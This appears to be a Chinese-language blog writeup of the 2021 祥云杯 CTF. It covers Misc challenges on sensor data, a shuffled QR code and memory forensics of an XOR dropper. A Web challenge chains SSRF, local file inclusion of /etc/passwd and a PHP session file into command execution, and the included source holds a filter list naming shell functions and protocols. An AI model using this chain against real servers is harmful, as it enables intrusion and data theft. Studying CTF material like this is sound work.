祥云杯 2021 Writeup
2021 祥云杯 Summary
本来想着躺平不打的一场比赛,最后还是耐不住心思打了,那几道Web的题解回头有机会我考虑研究以下,而且在自己的服务器上拿别人服务器的shell还是很爽的,虽然那道题没做出来……
剩下的Web基本都卡在了XSS不会构造,但都确实看到了可以利用的地方,只是不知道怎么用。还有很多地方要学啊……PWN和Reverse的题我日常划水没做……我不甘心当个Web手但我的能力不足以让我当PWN手.jpg
其实参加了蛮多的CTF了,但是一直没在博客里写什么Writeup,从祥云杯开始吧,后面有机会再继续补。
ChieftainsSecret - Misc
Our agent risked his life to install a mysterious device in the immemorial telephone, can you find out the chieftain’s telephone number? Flag format: flag{11 digits}
这张图片是个图种,即更改后缀名为 .zip
后可以解压缩,具体为什么可以这样建议另行搜索,与文件头、文件尾有关。
解压缩得到一张有 2163 组 PC0, PC1, PC2, PC3
数据的 csv
表格与一张电路图:
表格中数据基础分析,最大值均在 4100 附近,最小值在 2100 附近。
搜索可以得,TLE5501 芯片是一个磁传感器,能够测量其上方的磁铁的旋转角度,结合这道题给的图片是一张转盘式的电话,且 flag 会是一个 11 位电话号码,故应该是记录了拨号的全过程。
PS: 下方图片并非原图,非图种,仅作展示用途。
搜索后得到这个芯片相关的信息:TLE5501
四个电压值应当是两组互补值组成,以及相关角度值的计算方法:
data = pd.read_csv('adc.csv')
def get_sin(i):
return (data['PC0'][i] - (data['PC0'][i] + data['PC1'][i]) / 2) / 1000
def get_cos(i):
return (data['PC2'][i] - (data['PC2'][i] + data['PC3'][i]) / 2) / 1000
可以绘图得到:
回想起转盘式电话的拨号方式,考虑找到每次转动的极值,恰好可以清晰看到十一次峰值,分别位于:[155, 386, 636, 879, 1077, 1273, 1471, 1622, 1737, 1881, 2067]
于是将其对应位置的数据取出,绘图可得:
pos = [155, 386, 636, 879, 1077, 1273, 1471, 1622, 1737, 1881, 2067]
for i, p in enumerate(pos):
plt.scatter([get_cos(p)],[get_sin(p)], label=f'{i}')
plt.annotate(f'{i}', xy=(get_cos(p), get_sin(p)), xytext=(get_cos(p) + 0.01 * i, get_sin(p) + 0.01 * i))
plt.xlim(-1.1,1.1)
plt.ylim(-1.1,1.1)
plt.legend()
plt.show()
因不确定 8 与 7 之间相隔几位,可列举四种可能性:
digits = '1234567890'
ps = [3, 3, 0, 2, 5, 1, 4, 9, 6, 5, 3]
print(''.join([digits[i] for i in ps]))
print(''.join([digits[::-1][i] for i in ps]))
ps = [3, 3, 0, 2, 5, 1, 4, 8, 6, 5, 3]
print(''.join([digits[i] for i in ps]))
print(''.join([digits[::-1][i] for i in ps]))
flag{77085962457}
shuffle_code - Misc
附件本身是一个倒过来的 PNG 图片,将其逆转后发现是一个二维码,扫码可得:
col
426327/1132122/1211132223/3113253/61531113/111312/
5323125/2222/11122153/311111/14312121/11231211/
2423211/262121/422221/622132/31121/221122111/
5122311/2111221221/121692/12122111/232326/11142121/
31253151/22111111123/111313121/1111111/2151371
row
31121113/12321133/13111112/13112221121/12112232/
16113232/11311311/21111231/11111211/711111117/
2124112211/611111241/1311371/131152131/13/2121111311/
521(11)11/1311321131/1211211/11111111/14221262/
3411131/161713/422141/7122117/1111112111/7111412/
71111121/131112131
行、列各29组数据,加之这种形式,没见过的不好说,但只要知道数织 nonogram
都会觉得这十分像一个数织的样式了,找了个在线解数织的网站:nonogram
稍微看一下代码,并把上面的数据转换为数组数据,利用已经写好的解数织的程序跑一下:
col = [
[4, 2, 6, 3, 2, 7],
[1, 1, 3, 2, 1, 2, 2],
[1, 2, 1, 1, 1, 3, 2, 2, 2, 3],
[3, 1, 1, 3, 2, 5, 3],
[6, 1, 5, 3, 1, 1, 1, 3],
[1, 1, 1, 3, 1, 2],
[5, 3, 2, 3, 1, 2, 5],
[2, 2, 2, 2],
[1, 1, 1, 2, 2, 1, 5, 3],
[3, 1, 1, 1, 1, 1],
[1, 4, 3, 1, 2, 1, 2, 1],
[1, 1, 2, 3, 1, 2, 1, 1],
[2, 4, 2, 3, 2, 1, 1],
[2, 6, 2, 1, 2, 1],
[4, 2, 2, 2, 2, 1],
[6, 2, 2, 1, 3, 2],
[3, 1, 1, 2, 1],
[2, 2, 1, 1, 2, 2, 1, 1, 1],
[5, 1, 2, 2, 3, 1, 1],
[2, 1, 1, 1, 2, 2, 1, 2, 2, 1],
[1, 2, 1, 6, 9, 2],
[1, 2, 1, 2, 2, 1, 1, 1],
[2, 3, 2, 3, 2, 6],
[1, 1, 1, 4, 2, 1, 2, 1],
[3, 1, 2, 5, 3, 1, 5, 1],
[2, 2, 1, 1, 1, 1, 1, 1, 1, 2, 3],
[1, 1, 1, 3, 1, 3, 1, 2, 1],
[1, 1, 1, 1, 1, 1, 1],
[2, 1, 5, 1, 3, 7, 1],
];
row = [
[3, 1, 1, 2, 1, 1, 1, 3],
[1, 2, 3, 2, 1, 1, 3, 3],
[1, 3, 1, 1, 1, 1, 1, 2],
[1, 3, 1, 1, 2, 2, 2, 1, 1, 2, 1],
[1, 2, 1, 1, 2, 2, 3, 2],
[1, 6, 1, 1, 3, 2, 3, 2],
[1, 1, 3, 1, 1, 3, 1, 1],
[2, 1, 1, 1, 1, 2, 3, 1],
[1, 1, 1, 1, 1, 2, 1, 1],
[7, 1, 1, 1, 1, 1, 1, 1, 7],
[2, 1, 2, 4, 1, 1, 2, 2, 1, 1],
[6, 1, 1, 1, 1, 1, 2, 4, 1],
[1, 3, 1, 1, 3, 7, 1],
[1, 3, 1, 1, 5, 2, 1, 3, 1],
[1, 3],
[2, 1, 2, 1, 1, 1, 1, 3, 1, 1],
[5, 2, 1, 11, 1, 1],
[1, 3, 1, 1, 3, 2, 1, 1, 3, 1],
[1, 2, 1, 1, 2, 1, 1],
[1, 1, 1, 1, 1, 1, 1, 1],
[1, 4, 2, 2, 1, 2, 6, 2],
[3, 4, 1, 1, 1, 3, 1],
[1, 6, 1, 7, 1, 3],
[4, 2, 2, 1, 4, 1],
[7, 1, 2, 2, 1, 1, 7],
[1, 1, 1, 1, 1, 1, 2, 1, 1, 1],
[7, 1, 1, 1, 4, 1, 2],
[7, 1, 1, 1, 1, 1, 2, 1],
[1, 3, 1, 1, 1, 2, 1, 3, 1],
];
var nonogram = new Nonogram(row, col);
nonogram.solveAndCheck();
可以得到结果,并得知这是一个多解的局面,其中多解的部分这个程序给出0
,白色是-1
,黑色是1
将脚本的结果处理一下导入进Excel:
with open('res.txt','w') as f:
for row in res:
for pos in row:
if pos == 1:
f.write('X\t')
elif pos == -1:
f.write(' \t')
elif pos == 0:
f.write('?\t')
f.write('\n')
可以看到如下的样式:
由题目shuffle
和29x29的图片大小,合理推测这是一张被打乱过的二维码,发现横向特征存在,而纵向特征几乎无法找出,因此可以推测是一张按行打乱的二维码。
首先关注如下排列的位置,因为他们是二维码统一的样式:
- 首尾均为 7 个黑色方块的,共两个,位置应在第 1、7 行,其中含有连续黑白序列的位于第 7 行
- 首位均为 1 黑、5 白、1 黑的,共两个,位置应在第 2、6 行
- 首位均为“黑白黑黑黑白黑”的,共三个,位置应在第 3、4、5 行
- 其余开头为 7 个连续的,共两个,位置应在第 23、29 行
- 其余开头为 1 黑、5 白、1 黑的,共两个,位置应在第 24,28 行
- 其余开头为“黑白黑黑黑白黑”的,共三个,位置应在第 25、26、27 行
以上要求还需要三个定位块周围一圈无黑色,因此前八位为空白的应在第 8、22 行。结合右下角小定位块的位置与形状,即可确定下方 21 至 25 行的确切所属。
你可以在qrazybox看到具体的二维码应该由哪些部分组成。
之后需要注意的是二维码的基础信息,即定位块周围的pattern,可以看到左上角定位块纵向排列的,前 7 行的第 9 列一共含有 8 个黑色块,其中第一行是黑色,两个“一黑五白一黑”的行分别对应一黑一白两个色块。
可以从qrazybox上看到各种规范的pattern,根据第八行的信息作为校验,其共有 7 种可能(第 9 至第 21 行的第 7 列应为黑白间隔排列),可通过查询比对,得到格式信息应为:M 的纠错等级,第 6 种蒙版形式。
因此,根据以上信息我们足以判断前 9 行和后 9 行的具体信息,并可解决一部分尚未解出的nonogram
的位置。
中间 11 行因为已知第 7 列为黑白间隔,故一共种可能性,因此可以尝试爆破,对于未解出的nonogram
局面,我们可以选择一个可行解——甚至不需要解出来,因为 QRCode 的 M 级别可以纠正 15% 的色块错误,得到正确的信息。具体可以看看这篇文章:二维码的纠错功能原理是?它的容错率有多高?
之后就是写个脚本进行爆破:
data = [[1,1,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,1,1,1,1,1],
[1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1],
[1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,1,1,0,1,0,1,1,1,0,1],
[1,0,1,1,1,0,1,0,0,1,0,0,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1],
[1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,1,1,1,0,1],
[1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1],
[1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1],
[0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1],
[1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,1],
[1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,0,1],
[0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,1,1,0,1],
[1,1,0,0,1,0,1,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,1],
[1,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0],
[0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,0,0,0],
[1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,1,0,1,1,0,1,1,1,1,0,1],
[0,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1],
[1,0,0,1,1,0,0,0,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,0,1,1,1,0,0],
[1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,1,1,0,1,1,0,1,1,1,0,0,0,1,1],
[1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1],
[1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1],
[0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0],
[1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0],
[1,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0],
[1,0,1,1,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0],
[1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,0,1,1,0,1],
[1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1],
[1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,1,0,1,0,1,0,1],
[1,1,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0]]
import pyzbar.pyzbar as pyzbar
from itertools import permutations
from PIL import Image, ImageDraw as draw
import matplotlib.pyplot as plt
from tqdm import tqdm
shuffle_1 = [9, 11, 13, 15, 17, 19]
shuffle_2 = [10, 12, 14, 16, 18]
head = data[:9]
tail = data[20:]
def body(body_1, body_2): # 获取中间部分的一种排列
body = []
for i in range(5):
body.append(body_1[i])
body.append(body_2[i])
body.append(body_1[5])
return [data[i] for i in body]
def draw_img(data): # 生成二维码图片
assert len(data) == 29 and len(data[0]) == 29
img = Image.new('RGB', (31, 31), (255,255,255))
for i, row in enumerate(data):
for j, pixel in enumerate(row):
img.putpixel((j + 1, i + 1), (0,0,0) if pixel == 1 else (255,255,255))
return img
with tqdm(total=720 * 120) as pbar:
for body_1 in permutations(shuffle_1):
for body_2 in permutations(shuffle_2):
im = draw_img(head + body(body_1, body_2) + tail)
barcodes = pyzbar.decode(im)
pbar.update(1)
if(len(barcodes) == 0):
continue
for barcode in barcodes:
barcodeData = barcode.data.decode("utf-8")
print(barcodeData)
plt.imshow(im)
plt.show()
在跑到约 80% 的时候可以得到结果:
flag{f31861a9-a753-47d5-8660-a8cada6c599e}
考古 - Misc
小明在家里翻到一台很古老的xp笔记本,换电池之后发现可以正常开机,但是发现硬盘空间不足。清理过程中却发生了一些不愉快的事情…
这是一道内存取证题,二话不说先上volatility
,得到:
> imageinfo: WinXPSP2x86
> cmdscan:
Cmd #0 @ 0x3832110: It's useless to find so many things
Cmd #1 @ 0x3832ed0: ........................
Cmd #2 @ 0x52c778: what can i do about it
Cmd #3 @ 0x3833360: Heard that there is a one-click cleaning that is very useful
Cmd #4 @ 0x52b3c8: try it
Cmd #5 @ 0x52b7e8: "C:\Documents and Settings\Administrator\??\Oneclickcleanup.exe"
Cmd #6 @ 0x5224a0: what???
Cmd #7 @ 0x52d5c0: what happened??
Cmd #8 @ 0x52d410: who is 1cepeak?
Cmd #9 @ 0x3832de0: what's the meaning of hack?
Cmd #10 @ 0x3830e50: oh,no
Cmd #11 @ 0x52af40: holy shit
Cmd #12 @ 0x3830cf8: aaaaaa
Cmd #13 @ 0x522d28: Nonononononononononononono!!!!!!!!!!!!!!!!
Cmd #14 @ 0x522d88: "C:\Documents and Settings\Administrator\??\Oneclickcleanup.exe"
Cmd #15 @ 0x5224b8: fuc
都在指向Oneclickcleanup.exe
这个文件,扫描一下是否存在,并dump出文件:
> filescan | grep "Oneclick"
0x00000000017bcbc0 1 0 R--rw- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\Oneclickcleanup.exe
> dumpfiles -Q 0x00000000017bcbc0 -D ./
用IDA打开此程序,查看main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v4; // [esp+10h] [ebp-14h]
int k; // [esp+14h] [ebp-10h]
signed int j; // [esp+18h] [ebp-Ch]
int i; // [esp+1Ch] [ebp-8h]
sub_4271C0();
for ( i = 0; i <= 44; ++i )
FileName[i] ^= byte_4B8030[i % 10];
for ( j = 0; j < (int)ElementSize; ++j )
byte_4B8040[j] ^= byte_4B8030[j % 10];
for ( k = 0; k <= 9; ++k )
puts("Hacked by 1cePack!!!!!!!");
v4 = fopen(FileName, "wb+");
fwrite(byte_4B8040, ElementSize, 1u, v4);
return 0;
}
即做一个循环异或后将文件输出,由于知道异或密钥为this_a_key
,dump出部分数据进行解密,得到:
文件名称是:C:\Documents and Settings\All Users\Template
以及此文件应该是应该word文档,将其重命名后打开可以看到:
My friend, I said, there is really no flag here, why don’t you believe me?
在这里卡了好久,实在不知道怎么做了对文档进行逐位异或爆破,结果得到了结果,淦。
for k in range(256):
m3 = [x ^ k for x in m2]
m3 = bytes(m3)
if (b'flag' in m3):
print(m3)
flag{8bedfdbb-ba42-43d1-858c-c2a5-5012d309}
安全检测 - Web
题目基本上没什么描述,我就不写了。是直接下发容器的。
首先是一个登录界面,输入用户名和密码都admin
之后就直接进去了……
发现是一个安全检测平台,虽然做的花里胡哨的,我们可以输入需要检测的网站。尝试后发现可以让后台去访问一些页面,并且能在preview.php
种看到访问的结果。
尝试的时候发现/admin
是会响应403
的,那么考虑用它去访问,结果发现拿到了一个目录,里面可以发现include123.php
尝试用它去访问:http://127.0.0.1/admin/include123.php
可以得到此文件源码:
Warning: include(): Filename cannot be empty in /var/www/html/admin/include123.php on line 20
Warning: include(): Failed opening '' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/admin/include123.php on line 20
<?php
$u=$_GET['u'];
$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了,饮茶先
$vpattern = explode("|",$pattern);
foreach($vpattern as $value){
if (preg_match( "/$value/i", $u )){
echo "检测到恶意字符";
exit(0);
}
}
include($u);
show_source(__FILE__);
?>
发现这里可以利用include
但进行了大量的过滤,并且我们也知道了当前的路径。这个include
应该可以作为任意文件读取的入口,尝试读取/etc/passwd
也成功。
尝试使用include
读取session
,看看有没有可控的地方,可以得到:
http://127.0.0.1/admin/include123.php?u=/tmp/sess_e73763601132a5b8a2c934cee83ba182预览ver|s:0:"";user1|s:5:"admin";url1|s:0:"";html1|s:1:"v";url2|s:82:"http://127.0.0.1/admin/include123.php?u=/tmp/sess_e73763601132a5b8a2c934cee83ba182";
发现在url2
中会记录当前访问的url,于是我们可以利用这个来实现php
的任意命令执行:
http://127.0.0.1/admin/include123.php?u=/tmp/sess_e73763601132a5b8a2c934cee83ba182#预览ver|s:0:"";user1|s:5:"admin";url1|s:0:"";html1|s:1:"v";url2|s:112:"http://127.0.0.1/admin/include123.php?u=/tmp/sess_e73763601132a5b8a2c934cee83ba182#bin boot dev etc getflag.sh home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var ";
发现getflag.sh
,由于过滤了flag
字符串,简单绕过:
http://127.0.0.1/admin/include123.php?u=/tmp/sess_e73763601132a5b8a2c934cee83ba182#预览ver|s:0:"";user1|s:5:"admin";url1|s:0:"";html1|s:1:"v";url2|s:116:"http://127.0.0.1/admin/include123.php?u=/tmp/sess_e73763601132a5b8a2c934cee83ba182#flag{dabc5b03-30d9-40d9-9349-47f860546db2} ";
flag{dabc5b03-30d9-40d9-9349-47f860546db2}